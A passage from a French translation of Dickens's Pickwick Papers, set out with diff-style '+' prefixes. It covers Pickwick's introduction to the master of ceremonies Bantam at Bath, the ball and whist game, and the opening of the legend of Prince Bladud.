+L'ami était un charmant jeune homme d'une cinquantaine d'années tout au
+plus. Il avait un habit bleu très-clair, avec des boutons
+resplendissants; un pantalon noir et la paire de bottes la plus fine et
+la plus luisante qu'on puisse imaginer. Un lorgnon d'or était suspendu à
+son cou par un ruban noir, large et court. Une tabatière d'or tournait
+élégamment entre l'index et le pouce de sa main gauche; des bagues
+innombrables brillaient à ses doigts; un énorme solitaire, monté en or,
+étincelait sur son jabot. Il avait, en outre, une montre d'or et une
+chaîne d'or, avec de massifs cachets d'or. Sa légère canne d'ébène
+portait une lourde pomme d'or; son linge était le plus fin, le plus
+blanc, le plus roide possible; son faux toupet le mieux huilé, le plus
+noir, le plus bouclé des faux toupets. Son tabac était du tabac du
+régent, son parfum, _bouquet du roi_. Ses traits s'embellissaient d'un
+perpétuel sourire, et ses dents étaient si parfaitement rangées qu'à une
+petite distance il était difficile de distinguer les fausses des
+véritables.
+
+«Monsieur Pickwick, dit Dowler, mon ami Angelo-Cyrus Bantam, esquire,
+_magister ceremoniorum_.--Bantam, monsieur Pickwick. Faites
+connaissance.
+
+--Soyez le bienvenu à Ba-ath, monsieur. Voici en vérité une
+acquisition.... Très-bien venu à Ba-ath, monsieur.... Il y a longtemps,
+très-longtemps, monsieur Pickwick, que vous n'avez pris les eaux. Il y a
+un siècle, monsieur Pickwick. Re-marquable.»
+
+En parlant ainsi, M. Angelo-Cyrus Bantam, esq., m.c. prit la main de M.
+Pickwick; et, tout en disloquant ses épaules par une constante
+succession de saluts, il garda la main du philosophe dans les siennes,
+comme s'il n'avait pas pu prendre sur lui de la lâcher.
+
+--Il y a certainement très-longtemps que je n'ai bu les eaux, répondit
+M. Pickwick, car, à ma connaissance, je ne suis jamais venu ici jusqu'à
+présent.
+
+--Jamais venu à Ba-ath, monsieur Pickwick! s'écria le grand maître en
+laissant tomber d'étonnement la main savante. Jamais venu à Ba-ath! ha!
+ha! ha! Monsieur Pickwick, vous aimez à plaisanter! Pas mauvais, pas
+mauvais! Joli, joli! Hi! hi! hi! re-marquable.
+
+--Je dois dire, à ma honte, que je parle tout à fait sérieusement. Je ne
+suis jamais venu ici.
+
+--Oh! je vois, s'écria le grand maître d'un air extrêmement satisfait.
+Oui, oui. Bon, bon. De mieux en mieux. Vous êtes le gentleman dont nous
+avons entendu parler. Nous vous connaissons, monsieur Pickwick, nous
+vous connaissons.»
+
+Ils ont lu, dans ces maudits journaux, les détails de mon procès, pensa
+M. Pickwick. Ils savent toute mon histoire.
+
+«Oui, reprit Bantam, vous êtes le gentleman résidant à Clapham-Green,
+qui a perdu l'usage de ses membres pour s'être imprudemment refroidi
+après avoir pris du vin de Porto; qui, à cause de ses souffrances
+aiguës, ne pouvait plus bouger de place, et qui fit prendre des
+bouteilles de la source des bains du roi à 103°, se les fit apporter par
+un chariot dans sa chambre à coucher à Londres, se baigna, éternua et
+fut rétabli le même jour. Très-remarquable.»
+
+M. Pickwick reconnut le compliment que renfermait cette supposition, et
+cependant il eut l'abnégation de la repousser. Ensuite, prenant avantage
+d'un moment où le maître des cérémonies demeurait silencieux, il demanda
+la permission de présenter ses amis, M. Tupman, M. Winkle et M.
+Snodgrass; présentation qui, comme on se l'imagine, accabla le maître
+des cérémonies de délices et d'honneur.
+
+«Bantam, dit M. Dowler, M. Pickwick et ses amis sont étrangers; il faut
+qu'ils inscrivent leurs noms. Où est le livre?
+
+--La registre des visiteurs distingués de Ba-ath sera à la salle de la
+Pompe aujourd'hui à deux heures. Voulez-vous guider nos amis vers ce
+splendide bâtiment et me procurer l'avantage d'obtenir leurs
+autographes.
+
+--Je le ferai, répliqua Dowler. Voilà une longue visite. Il est temps de
+partir. Je reviendrai dans une heure. Allons.
+
+--Il y a bal ce soir, monsieur, dit le maître des cérémonies en prenant
+la main de M. Pickwick, au moment de s'en aller. Les nuits de bal, dans
+Ba-ath, sont des instants dérobés au paradis, des instants que rendent
+enchanteurs la musique, la beauté, l'élégance, la mode, l'étiquette,
+etc..., et par-dessus tout, l'absence des boutiquiers, gens tout à fait
+incompatibles avec le paradis. Ces gens-là ont, entre eux, tous les
+quinze jours, au Guidhall, une espèce d'amalgame qui est, pour ne rien
+dire de plus, re-marquable. Adieu, adieu.»
+
+Cela dit, et ayant protesté tout le long de l'escalier qu'il était fort
+satisfait, entièrement charmé, complètement enchanté, immensément
+flatté, on ne peut pas plus honoré, Angelo-Cyrus Bantam, esq., m.c.
+monta dans un équipage très-élégant qui l'attendait à la porte et
+disparut au grand trot.
+
+À l'heure désignée, M. Pickwick et ses amis, escortés par Dowler, se
+rendirent aux salles d'assemblée et écrivirent leur nom sur le livre,
+preuve de condescendance dont Angélo Bantam se montra encore plus confus
+et plus charmé qu'auparavant. Des billets d'admission devaient être
+préparés pour les quatre amis; mais, comme ils ne se trouvaient pas
+prêts, M. Pickwick s'engagea, malgré toutes les protestations d'Angelo
+Bantam, à envoyer Sam les chercher, à quatre heures, chez le M.C., dans
+Queen-Square.
+
+Après avoir fait une courte promenade dans la ville et être arrivés à la
+conclusion unanime que Park-Street ressemble beaucoup aux rues
+perpendiculaires qu'on voit dans les rêves, et qu'on ne peut pas venir à
+bout de gravir, les pickwickiens retournèrent au _Blanc-Cerf_ et
+dépêchèrent Sam pour chercher les billets.
+
+Sam Weller posa son chapeau sur sa tête d'une manière chalante et
+gracieuse, enfonça ses mains dans les poches de son gilet, et se
+dirigea, d'un pas délibéré, vers Queen-Square, en sifflant le long du
+chemin plusieurs airs populaires de l'époque, arrangés sur un mouvement
+entièrement nouveau pour les instruments à vent. Arrivé dans
+Queen-Square, au numéro qui lui avait été désigné, il cessa de siffler
+et frappa solidement à une porte, que vint ouvrir immédiatement un
+laquais à la tête poudrée, à la livrée magnifique, à la stature carrée.
+
+«C'est-il ici M. Bantam, vieux? demanda Sam sans se laisser le moins du
+monde intimider par le rayon de splendeur qui lui donna dans l'oeil à
+l'apparition du laquais poudré, à la livrée magnifique, etc.
+
+--Pourquoi cela, jeune homme? répondit celui-ci d'un air hautain.
+
+--Parce que, si c'est ici chez lui, portez-lui ça, et dites-lui que M.
+Weller attend la réponse. Voulez-vous m'obliger, six pieds?»
+
+Ainsi parla Sam; et, étant entré froidement dans la salle, il s'y assit.
+
+Le laquais poudré poussa violemment la porte et fronça les sourcils avec
+dignité; mais tout cela ne fit nulle impression sur Sam, qui s'occupait
+à regarder, avec un air de connaisseur satisfait, un élégant
+porte-parapluie en acajou.
+
+La manière dont M. Bantam reçut la carte disposa apparemment le laquais
+poudré en faveur de Sam, car, lorsqu'il revint, il lui sourit
+amicalement et lui dit que la réponse allait être prête sur-le-champ.
+
+«Très-bien, répliqua Sam; vous pouvez dire au vieux gentleman de ne pas
+se mettre en transpiration. Il n'y a pas de presse, six pieds. J'ai
+dîné.
+
+--Vous dînez de bien bonne heure, monsieur.
+
+--C'est pour mieux travailler au souper.
+
+--Y a-t-il longtemps que vous restez à Bath, monsieur? Je n'ai pas eu le
+plaisir d'entendre parler de vous.
+
+--Je n'ai pas encore causé ici une sensation étonnamment surprenante,
+répondit Sam tranquillement. Moi et les autres personnages distingués
+que j'accompagne, nous ne sommes arrivés que d'hier au soir.
+
+--Un joli endroit, monsieur.
+
+--Ça m'en a l'air.
+
+--Bonne société, monsieur. Des domestiques fort agréables, monsieur.
+
+--Ça me fait cet effet-là, des gaillards affables, sans affectation,
+qui ont l'air de vous dire: Allez vous promener; je ne vous connais pas!
+
+--Oh! c'est bien vrai, monsieur, répliqua le laquais poudré, croyant
+évidemment que le discours de Sam renfermait un superbe compliment. En
+prenez-vous, monsieur? ajouta-t-il en produisant une petite tabatière.
+
+--Pas sans éternuer.
+
+--Oh! c'est difficile, monsieur; je le confesse; mais cela s'apprend par
+degrés. Le café est ce qu'il y a de mieux pour cela. J'ai longtemps
+porté du café, monsieur; cela ressemble beaucoup à du tabac.»
+
+Ici un violent coup de sonnette réduisit le laquais poudré à
+l'ignominieuse nécessité de remettre la tabatière dans sa poche et de se
+rendre, avec une humble contenance, dans le cabinet de M. Bantam.
+Observons, par parenthèse, que tous les individus qui ne lisent et
+n'écrivent jamais, ont toujours quelque petit arrière-parloir qu'ils
+appellent leur _cabinet_.
+
+«Voici la réponse, monsieur, dit à Sam le laquais poudré. J'ai peur que
+vous ne la trouviez incommode par sa grandeur.
+
+--Ne vous tourmentez pas, répondit Sam en recevant la lettre, qui était
+enfermée dans une petite enveloppe. Je crois que la nature peut
+supporter cela sans tomber en défaillance.
+
+--J'espère que nous nous reverrons, monsieur, dit le laquais poudré en
+se frottant les mains et en reconduisant Sam jusqu'à la porte.
+
+--Vous êtes bien obligeant, monsieur, répliqua Sam; mais, je vous en
+prie, n'éreintez pas outre mesure une personne aussi aimable. Considérez
+ce que vous devez à la société, et ne vous laissez pas écraser par
+l'ouvrage. Pour l'amour de vos semblables, tenez-vous aussi tranquille
+que vous pourrez; songez quelle perte ce serait pour le monde!»
+
+Sam s'éloigna sur ces mots pathétiques.
+
+«Un jeune homme fort singulier,» dit en lui-même le laquais poudré, avec
+une physionomie tout ébahie.
+
+Sam ne dit rien, mais il cligna de l'oeil, hocha la tête, sourit, cligna
+de l'oeil sur nouveaux frais, et s'en alla légèrement, avec une
+physionomie qui semblait dénoter qu'il était singulièrement amusé, par
+une chose ou par une autre.
+
+Le même soir, juste à huit heures moins vingt minutes, Angelo-Cyrus
+Bantam esq. m.c. descendit de sa voiture à la porte des salons
+d'assemblée, avec le même toupet, les mêmes dents, le même lorgnon, la
+même chaîne et les mêmes cachets, les mêmes bagues, les mêmes épingles
+et la même canne, que celles ou ceux dont il était affublé le matin. Le
+seul changement remarquable dans son costume était qu'il portait un
+habit d'un bleu plus clair, doublé de soie blanche, un pantalon collant
+noir, des bas de soie noire, des escarpins et un gilet blanc, et qu'il
+était, si cela est possible, encore un peu plus parfumé.
+
+Ainsi accoutré, le maître des cérémonies se planta dans la première
+salle, pour recevoir la compagnie, et remplir les importants devoirs de
+son indispensable office.
+
+Bath était comble. La compagnie et les pièces de 6 pence pour le thé,
+arrivaient en foule. Dans la salle de bal, dans les salles de jeu, dans
+les escaliers, dans les passages, le murmure des voix et le bruit des
+pieds étaient absolument étourdissants. Les vêtements de soie
+bruissaient, les plumes se balançaient, les lumières brillaient, et les
+joyaux étincelaient. On entendait la musique, non pas des contredanses,
+car elles n'étaient pas encore commencées, mais la musique toujours
+agréable à entendre, soit à Bath, soit ailleurs, des pieds mignons et
+délicats qui glissent sur le parquet, des rires clairs et joyeux de
+jeunes filles, des voix de femmes retenues et voilées. De toutes parts
+scintillaient des yeux brillants, éclairés par l'attente du plaisir; et
+de quelque coté qu'on regardât, on voyait glisser gracieusement, à
+travers la foule, quelque figure élégante, qui, à peine perdue, était
+remplacée par une autre, aussi séduisante et aussi parée.
+
+Dans la salle où l'on prenait le thé, et tout autour des tables de jeu,
+s'entassaient une foule innombrable d'étranges vieilles ladies et de
+gentlemen décrépits, discutant tous les petits scandales du jour avec
+une vivacité qui montrait suffisamment quel plaisir ils y trouvaient.
+Parmi ces groupes, se trouvaient quelques mères de famille, absorbées,
+en apparence, par la conversation à laquelle elles prenaient part, mais
+jetant de temps à autre un regard inquiet du côté de leurs filles.
+Celles-ci, se rappelant les injonctions maternelles de profiter de
+l'occasion, étaient en plein exercice de coquetterie, égarant leurs
+écharpes, mettant leurs gants, déposant leurs tasses à thé, et ainsi de
+suite, toutes choses légères en apparence, mais qui peuvent être fort
+avantageusement exploitées par d'habiles praticiennes.
+
+Auprès des portes et dans les recoins, divers groupes de jeunes gens,
+étalant toutes les variétés du dandysme et de la stupidité, amusaient
+les gens raisonnables par leur folie et leur prétention, tout en se
+croyant, heureusement, les objets de l'admiration générale. Sage et
+prévoyante dispensation de la Providence, qu'un esprit charitable ne
+saurait assez louer.
+
+Sur les bancs de derrière, où elles avaient déjà pris leur position pour
+la soirée, étaient assises certaines ladies non mariées, qui avaient
+passé leur grande année climatérique, et qui, ne dansant pas, parce
+qu'elles n'avaient point de partenaires, ne jouant pas, de peur d'être
+regardées comme irrévocablement vieilles filles, étaient dans la
+situation favorable de pouvoir dire du mal de tout le monde, sans qu'il
+retombât sur elles-mêmes. Tout le monde, en effet, se trouvait-là.
+C'était une scène de gaieté, de luxe et de toilettes, de glaces
+magnifiques, de parquets blanchis à la craie, de girandoles, de bougies,
+et sur tous les plans du tableau, glissant de place en place, avec une
+souplesse silencieuse, saluant obséquieusement telle société, faisant un
+signe familier à telle autre, et souriant complaisamment à toutes, se
+faisait remarquer la personne tirée à quatre épingles, d'Angelo-Cyrus
+Bantam esquire, _le maître des cérémonies_.
+
+«Arrêtez-vous dans la salle du thé. Prenez-en pour vos 6 pence. Ils
+distribuent de l'eau chaude et appellent cela du thé. Buvez,» dit tout
+haut M. Dowler à M. Pickwick, qui s'avançait en tête de leur société,
+donnant le bras à Mme Dowler. M. Pickwick tourna donc vers la salle du
+thé, et M. Bantam, en l'apercevant, se glissa à travers la foule, et le
+salua avec extase.
+
+«Mon cher monsieur, je suis prodigieusement honoré.... Ba-ath est
+favorisé.... Madame Dowler, vous embellissez cette salle. Je vous
+félicite vos plumes re-marquables!
+
+--Y a-t-il quelqu'un ici? demanda M. Dowler d'un air dédaigneux.
+
+--Quelqu'un? l'élite de Ba-ath! Monsieur Pickwick, voyez vous cette dame
+en turban de gaze?
+
+--Cette grosse vieille dame? demanda M. Pickwick innocemment.
+
+--Chut! mon cher monsieur, chut! Personne n'est gros ni vieux, dans
+Ba-ath. C'est la lady douairière Snuphanuph.[8]
+
+[Footnote 8: Prise assez.]
+
+--En vérité! fit M. Pickwick.
+
+--Ni plus ni moins. Chut! approchez un peu par ici, monsieur Pickwick.
+Voyez-vous ce jeune homme, richement vêtu, qui vient de notre côté?
+
+--Celui qui a des cheveux longs, et le front singulièrement étroit?
+
+--Précisément. C'est le plus riche jeune homme de Ba-ath, en ce moment.
+Le jeune lord Mutanhed[9].
+
+[Footnote 9: Tête de mouton.]
+
+--Quoi, vraiment?
+
+--Oui. Vous entendrez sa voix dans un moment, monsieur Pickwick. Il me
+parlera. Le gentleman qui est avec lui et qui a un dessous de gilet
+rouge et des moustaches noires, est l'honorable M. Crushton, son ami
+intime.--Comment vous portez-vous, mylord?
+
+--Très-saudement, Bantam, répondit Sa Seigneurie.
+
+--En effet, il fait très-chaud, milord, reprit le M.C.
+
+--Diablement,» ajouta l'honorable M. Crushton.
+
+Après une pause durant laquelle le jeune lord s'était efforcé de
+décontenancer M. Pickwick en le lorgnant, tandis que son acolyte
+réfléchissait sur quel sujet lord Mutanhed pouvait parler le plus
+avantageusement, M. Crushton, dit:
+
+«Bantam, avez-vous vu la malle-poste de milord?
+
+--Mon Dieu non. Une malle-poste? Quelle excellente idée. Re-marquable!
+
+--Vaiment, je coyais que tout le monde l'avait vue! C'est la plus zolie,
+la plus lézère, la plus gacieuse chose qui ait zamais été sur des roues.
+Peinte en rouge, avec des gevaux café au lait.
+
+--Et avec une véritable malle pour les lettres; tout à fait complète,
+ajouta l'honorable M. Crushton.
+
+--Et un petit siége devant, entouré d'une tringle de fer pour le cozer,
+continua Sa Seigneurie. Ze l'ai conduite à Bristol l'aut'matin, avec un
+habit écalate et deux domestiques courant un quart de mille en arrière,
+et Dieu me damne si les paysans ne sortaient pas de leurs cabanes, pour
+m'arrêter et me demander si je n'étais pas la poste! Glo'ieux!
+Glo'ieux!»
+
+Le jeune lord rit de tout son coeur de cette anecdote, et les auditeurs
+en firent autant, bien entendu.
+
+«Charmant jeune homme! dit le maître des cérémonies à M. Pickwick.
+
+--Il en a l'air,» répliqua sèchement le philosophe.
+
+La danse ayant commencé, les présentations nécessaires ayant été faites,
+et tous les préliminaires étant arrangés, Angelo Bantam rejoignit M.
+Pickwick et le conduisit dans les salons de jeux.
+
+Au moment de leur entrée, lady Snuphanuph et deux autres ladies, d'une
+apparence antique, et qui sentait le whist, erraient tristement autour
+d'une table inoccupée. Aussitôt qu'elles aperçurent M. Pickwick, sous la
+conduite d'Angelo Bantam, elles échangèrent entre elles des regards qui
+voulaient dire que c'était là justement la personne qu'il leur fallait
+pour faire un rob.
+
+«Mon cher Bantam, dit la lady douairière Snuphanuph, d'un air engageant,
+trouvez-nous donc quelque aimable personne pour faire un whist, comme
+une bonne âme que vous êtes.»
+
+Dans ce moment M. Pickwick regardait d'un autre côté, de sorte que
+milady fit un signe de tête expressif en l'indiquant.
+
+Le maître des cérémonies comprit ce geste muet.
+
+«Milady, répondit-il, mon ami M. Pickwick s'estimera, j'en suis sûr,
+très-heureux, re-marquablement.--M. Pickwick, lady Snuphanuph, Mme la
+colonel Wugsby, miss Bolo.»
+
+M. Pickwick salua et voyant qu'il était impossible de s'échapper, se
+résigna. On tira les places, et M. Pickwick se trouva avec miss Bolo,
+contre lady Snuphanuph et Mme Wugsby.
+
+À la seconde donne, au moment où la retourne venait à être vue, deux
+jeunes ladies accoururent dans la salle et se placèrent de chaque côté
+de Mme Wugsby, où elles attendirent patiemment et silencieusement que le
+coup fût fini.
+
+«Eh bien! dit Mme Wugsby en se retournant vers l'une de ses filles,
+qu'est-ce qu'il y a?
+
+--M'man, répondit à voix basse la plus jeune et la plus jolie des deux,
+je venais vous demander si je puis danser avec le plus jeune M. Crawley.
+
+--Mais à quoi donc pensez-vous, Jane? répondit la maman avec
+indignation. N'avez-vous pas entendu dire cent fois, que son père n'a
+que huit cents livres sterling de revenu, et qui meurent avec lui
+encore! Vous me faites rougir de honte! Non, sous aucun prétexte.
+
+--M'man, chuchota l'autre demoiselle qui était beaucoup plus vieille que
+sa soeur, et avait l'air insipide et artificiel; lord Mutanhed m'a été
+présenté. J'ai dit que je croyais n'être pas engagée, m'man.
+
+--Vous êtes une bonne fille, mon enfant, et on peut se fier à vous,
+répondit Mme Wugsby, en tapant de son éventail la joue de sa fille. Il
+est immensément riche, ma chérie.» En parlant ainsi, Mme Wugsby baisa sa
+fille aînée fort tendrement, admonesta la cadette par un froncement de
+sourcil, et mêla les cartes.
+
+Pauvre M. Pickwick! il n'avait jamais joué jusqu'alors avec trois
+vieilles femmes aussi complètement joueuses. Elles étaient d'une
+habileté qui l'effrayait. S'il jouait mal, miss Bolo le poignardait du
+regard; s'il s'arrêtait pour réfléchir, lady Snuphanuph se renversait
+sur sa chaise et souriait, en jetant à Mme Wugsby un coup d'oeil mêlé
+d'impatience et de pitié. À quoi celle-ci répondait en haussant les
+épaules et en toussant, comme pour demander s'il se déciderait jamais à
+jouer. À la fin de chaque coup, miss Bolo demandait avec une contenance
+sombre et un soupir plein de reproche, pourquoi M. Pickwick n'avait pas
+rendu atout, attaqué trèfle, coupé pique, finassé la dame, fait échec à
+l'honneur, invité au roi ou quelque autre chose de semblable; et M.
+Pickwick était tout à fait incapable de se disculper de ces graves
+accusations, car il avait déjà oublié le coup. Ce n'est pas tout; il y
+avait des gens qui venaient regarder et qui intimidaient M. Pickwick;
+enfin, près de la table, s'échangeait une conversation fort active et
+fort distrayante, entre Angelo Bantam et les deux miss Matinters, qui,
+étant filles et un peu mûres, faisaient une cour assidue au maître des
+cérémonies, dans l'espoir d'attraper, de temps en temps, un danseur de
+rencontre. Toutes ces choses combinées avec le bruit et les constantes
+interruptions des allants et des venants, firent que M. Pickwick joua
+véritablement assez mal; de plus, les cartes étaient contre lui, de
+sorte que quand il quitta la table, à onze heures dix minutes, miss Bolo
+se leva dans une agitation effroyable et partit dans les larmes et dans
+une chaise à porteurs.
+
+M. Pickwick fut rejoint bientôt après par ses amis, qui protestèrent
+unanimement avoir rarement passé une soirée aussi agréable. Ils
+retournèrent tous ensemble au _Blanc-Cerf_, et le philosophe s'étant
+consolé de ses infortunes, en avalant quelque chose de chaud, se coucha
+et s'endormit presque simultanément.
+
+
+
+
+CHAPITRE VII.
+
+Occupé principalement par une authentique version de la légende du
+prince Bladud, et par une calamité fort extraordinaire dont M. Winkle
+fut la victime.
+
+
+M. Pickwick, en proposant de rester au moins deux mois à Bath, jugea
+convenable de prendre pour lui et pour ses amis un appartement
+particulier. Il eut la bonne fortune d'obtenir, pour un prix modéré, la
+partie supérieure d'une des maisons sur la Royal-Crescent; et comme il
+s'y trouvait plus de logement qu'il n'en fallait pour les pickwickiens,
+M. et Mme Dowler lui offrirent de reprendre une chambre à coucher et un
+salon. Cette proposition fut acceptée avec un empressement, et des le
+troisième jour les deux sociétés furent établies dans leur nouveau
+domicile. M. Pickwick commença alors à prendre les eaux avec la plus
+grande assiduité. Il les prenait systématiquement, buvant un quart de
+pinte avant le déjeuner, et montant un coteau; un autre quart de pinte
+après le déjeuner, et descendant un coteau; et après chaque nouveau
+quart de pinte, M. Pickwick déclarait, dans les termes les plus
+solennels, qu'il se sentait infiniment mieux: ce dont ses amis se
+réjouissaient vivement, quoiqu'ils ne se fussent pas doutés, jusque-là,
+qu'il eût à se plaindre de la moindre chose.
+
+La grande buvette est un salon spacieux, orné de piliers corinthiens,
+d'une galerie pour la musique, d'une pendule de Tompion, d'une statue de
+Nash, et d'une inscription en lettres d'or, à laquelle tous les buveurs
+d'eau devraient faire attention, car elle fait un touchant appel à leur
+charité. Il s'y trouve, en outre, un vase de marbre où le garçon plonge
+sans cesse de grands verres, qui ont l'air d'avoir la jaunisse, et c'est
+un spectacle prodigieusement édifiant et satisfaisant, que de voir avec
+quelle gravité et quelle persévérance les buveurs d'eau engloutissent le
+contenu de ces verres. Tout auprès on a disposé des baignoires, dans
+lesquelles se lavent une partie des malades; après quoi la musique joue
+des fanfares pour les congratuler d'en être sortis. Il existe encore une
+seconde buvette, où les ladies et les gentlemen infirmes sont roulés
+dans une quantité de chaises et de fauteuils, si étonnante et si variée,
+qu'un individu aventureux, qui s'y rend avec le nombre ordinaire
+d'orteils, doit s'estimer heureux s'il les possède encore quand il en
+sort.
+
+Enfin il y a une troisième buvette où se réunissent les gens
+tranquilles, parce qu'elle est moins bruyante que les autres. Il se fait
+d'ailleurs aux environs une infinité de promenades avec béquilles ou
+sans béquilles, avec canne ou sans canne, et une infinité de
+conversations et de plaisanteries, avec esprit ou sans esprit.
+
+Chaque matin les buveurs d'eau consciencieux, parmi lesquels se trouvait
+M. Pickwick, se réunissaient dans les buvettes, avalaient leur quart de
+pinte, et marchaient suivant l'ordonnance. À la promenade de
+l'après-midi, lord Mutanhed et l'honorable M. Crushton, lady Snuphanuph,
+mistress Wugsby, et tout le beau monde, et tous les buveurs d'eau du
+matin, se réunissaient en grande compagnie. Après cela, ils se
+promenaient à pied, ou en voiture, ou dans les chaises à porteurs, et se
+rencontraient sur nouveaux frais. Après cela, les gentlemen allaient au
+cabinet de lecture, et y rencontraient une portion de la société; après
+quoi, ils s'en retournaient chacun chez soi. Ensuite, si c'était jour de
+théâtre, on se rencontrait au théâtre; si c'était jour d'assemblée, on
+se rencontrait au salon, et si ce n'était ni l'un ni l'autre, on se
+rencontrait le jour suivant: agréable routine à laquelle on pourrait
+peut-être reprocher uniquement une légère teinte de monotonie.
+
+Après une journée dépensée de cette manière, M. Pickwick, dont les amis
+s'étaient allés coucher, s'occupait à compléter son journal, lorsqu'il
+entendit frapper doucement à sa porte.
+
+--Je vous demande pardon, monsieur, dit la maîtresse de la maison, Mme
+Craddock, en insinuant sa tête dans la chambre, vous n'avez plus besoin
+de rien?
+
+--De rien du tout, madame, répondit M. Pickwick.
+
+--Ma jeune fille est allée se coucher, monsieur, et M. Dowler a la bonté
+de rester debout pour attendre Mme Dowler, qui ne doit rentrer que fort
+tard. Ainsi, monsieur Pickwick, je pensais que si vous n'aviez plus
+besoin de rien, j'irais me coucher aussi.
+
+--Vous ferez très-bien, madame.
+
+--Je vous souhaite une bonne nuit, monsieur.
+
+--Bonne nuit, madame.»
+
+Mistress Craddock ferma la porte et M. Pickwick continua d'écrire.
+
+En une demi-heure de temps ses notes furent mises à jour. Il appuya
+soigneusement la dernière page sur le papier buvard, ferma le livre,
+essuya sa plume au pan de son habit, et ouvrit le tiroir de l'encrier
+pour l'y serrer. Il y avait dans ce tiroir quelques feuilles de papier à
+lettres, écrites serrées et pliées de telle sorte que le titre, moulé en
+ronde, sautait aux yeux. Voyant par là que ce n'était point un document
+privé, qu'il paraissait se rapporter à Bath, et qu'il était fort court,
+M. Pickwick déplia le papier, et tirant sa chaise auprès du feu, lut ce
+qui suit:
+
+«LA VÉRITABLE LÉGENDE DU PRINCE BLADUD.
+
+«Il n'y a pas encore deux cents ans qu'on voyait sur l'un des bains
+publies de cette ville, une inscription en honneur de son puissant
+fondateur, le renommé prince Bladud. Cette inscription est maintenant
+effacée, mais une vieille légende, transmise d'âge en âge, nous apprend
+que plusieurs siècles auparavant cet illustre prince, affligé de la
+lèpre depuis son retour d'Athènes, où il était allé recueillir une ample
+moisson de science, évitait la cour de son royal père, et faisait
+tristement société avec ses bergers et ses cochons. Dans le troupeau,
+dit la légende, se trouvait un porc d'une contenance grave et
+solennelle, pour qui le prince éprouvait une certaine sympathie; car ce
+porc était un sage, un personnage aux manières pensives et réservées, un
+animal supérieur à ses semblables, dont le grognement était terrible,
+dont la morsure était fatale. Le jeune prince soupirait profondément en
+regardant la physionomie majestueuse du quadrupède. Il songeait à son
+royal père, et ses yeux se noyaient de larmes.
+
+«Ce porc intelligent aimait beaucoup à se baigner dans une fange molle
+et verdâtre, non pas au coeur de l'été, comme font maintenant les porcs
+vulgaires, pour se rafraîchir, et comme ils faisaient même dans ces
+temps reculés (ce qui prouve que la lumière de la civilisation avait
+déjà commencé à briller, quoique faiblement); mais au milieu des froids
+les plus piquants de l'hiver. La robe du pachyderme était toujours si
+lisse et sa complexion si claire, que le prince résolut d'essayer les
+qualités purifiantes de l'eau, qui réussissait si bien à son ami. Un
+beau jour il le suivit au bain. Sous la fange verdâtre, sourdissaient
+les sources chaudes de Bath; le prince s'y lava et fut guéri. S'étant
+rendu aussitôt à la cour du roi son père, il lui présenta ses respects
+les plus tendres, mais il s'empressa de revenir ici, pour y fonder cette
+ville et ces bains fameux.
+
+«D'abord il chercha le porc avec toute l'ardeur d'une ancienne amitié;
+mais, hélas! ces eaux célèbres avaient été cause de sa perte. Il avait
+pris un bain à une température trop élevée et le philosophe sans le
+savoir n'était plus. Pline qui lui succéda dans la philosophie, périt
+également victime de son ardeur pour la science.
+
+«Telle était la légende: Écoutez l'histoire véritable.
+
+«Le fameux Lud Hudibras, roi de la Grande-Bretagne, florissait il y a
+bien des siècles. C'était un redoutable monarque: la terre tremblait
+sous ses pas, tant il était gros; ses peuples avaient peine à soutenir
+l'éclat de sa face, tant elle était rouge et luisante. Il était roi
+depuis les pieds jusqu'à la tête, et c'était beaucoup dire, car, s'il
+n'était pas très-haut, il était très-puissant, et son immense ampleur
+compensait et au delà, ce qui pouvait manquer à sa taille. Si quelque
+prince dégénéré de ces temps modernes pouvait lui être comparé, ce
+serait le vénérable roi Cole, qui seul mériterait cette gloire.
+
+«Ce bon roi avait une reine qui, dix-huit ans auparavant, avait eu un
+fils, lequel avait nom Bladud. On l'avait placé dans une école
+préparatoire des États de son père, jusqu'à l'âge de dix ans, mais alors
+il avait été dépêché, sous la conduite d'un fidèle messager, pour finir
+ses classes à Athènes. Comme il n'y avait point de supplément à payer
+pour rester à l'école les jours de fête, et pas d'avertissement
+préalable à donner pour la sortie des élèves, il y demeura huit années,
+à l'expiration desquelles le roi son père envoya le lord chambellan pour
+solder sa dépense, et pour le ramener au logis. Le lord chambellan
+exécuta habilement cette mission difficile, fut reçu avec
+applaudissements, et pensionné sans délai.
+
+«Quand le roi Lud vit le prince son fils, et remarqua qu'il était devenu
+un superbe jeune homme, il s'aperçut du premier coup d'oeil que ce
+serait une grande chose de le marier immédiatement, afin que ses enfants
+pussent servir à perpétuer la glorieuse race de Lud, jusqu'aux derniers
+âges du monde. Dans cette vue il composa une ambassade extraordinaire de
+nobles seigneurs qui n'avaient pas grand'chose à faire, et qui
+désiraient obtenir des emplois lucratifs; puis il les envoya à un roi
+voisin, pour lui demander en mariage sa charmante fille, et pour lui
+déclarer, en même temps, que, comme roi chrétien, il souhaitait
+vivement conserver les relations les plus amicales avec le roi son frère
+et son ami; mais que si le mariage ne s'arrangeait pas, il serait dans
+la pénible nécessité de lui aller rendre visite, avec une armée
+nombreuse, et de lui faire crever les yeux. L'autre roi qui était le
+plus faible, répondit à cette déclaration, qu'il était fort obligé au
+roi son frère, de sa bonté et de sa magnanimité, et que sa fille était
+toute prête à se marier, aussitôt qu'il plairait au prince Bladud de
+venir et de l'emmener.
+
+«Dès que cette réponse parvint en Angleterre, toute la nation fut
+transportée de joie, on n'entendait plus que le bruit des réjouissances
+et des fêtes, comme aussi celui de l'argent qui sonnait dans la sacoche
+des collecteurs, chargés de lever sur le peuple l'impôt nécessaire pour
+défrayer la dépense de cette heureuse cérémonie.
+
+«C'est dans cette occasion que le roi Lud, assis au sommet de son trône,
+en plein conseil, se leva, dans la joie de son âme, et commanda au lord
+chef de la justice de faire venir les ménestrels, et de faire apporter
+les meilleurs vins. L'ignorance des historiens légendaires attribue cet
+acte de gracieuseté au roi Cole, comme on le voit dans ces vers
+célèbres:
+
+    «Il fit venir sa pipe, et ses trois violons,
+    Pour boire un pot, au doux bruit des flonflons.»
+
+«Mais c'est une injustice évidente envers la mémoire du roi Lud, et une
+malhonnête exaltation des vertus du roi Cole.
+
+«Cependant, au milieu de ces fêtes et de ces réjouissances, il y avait
+un individu qui ne buvait point, quand les vins généreux pétillaient
+dans les verres, et qui ne dansait point, quand les instruments des
+ménestrels s'éveillaient sous leurs doigts. C'était le prince Bladud
+lui-même, pour le bonheur duquel tout un peuple vidait ses poches, et
+remplissait son gosier. Hélas! c'est que le prince, oubliant que le
+ministre des affaires étrangères avait le droit incontestable de devenir
+amoureux pour lui, était déjà devenu amoureux pour son propre compte,
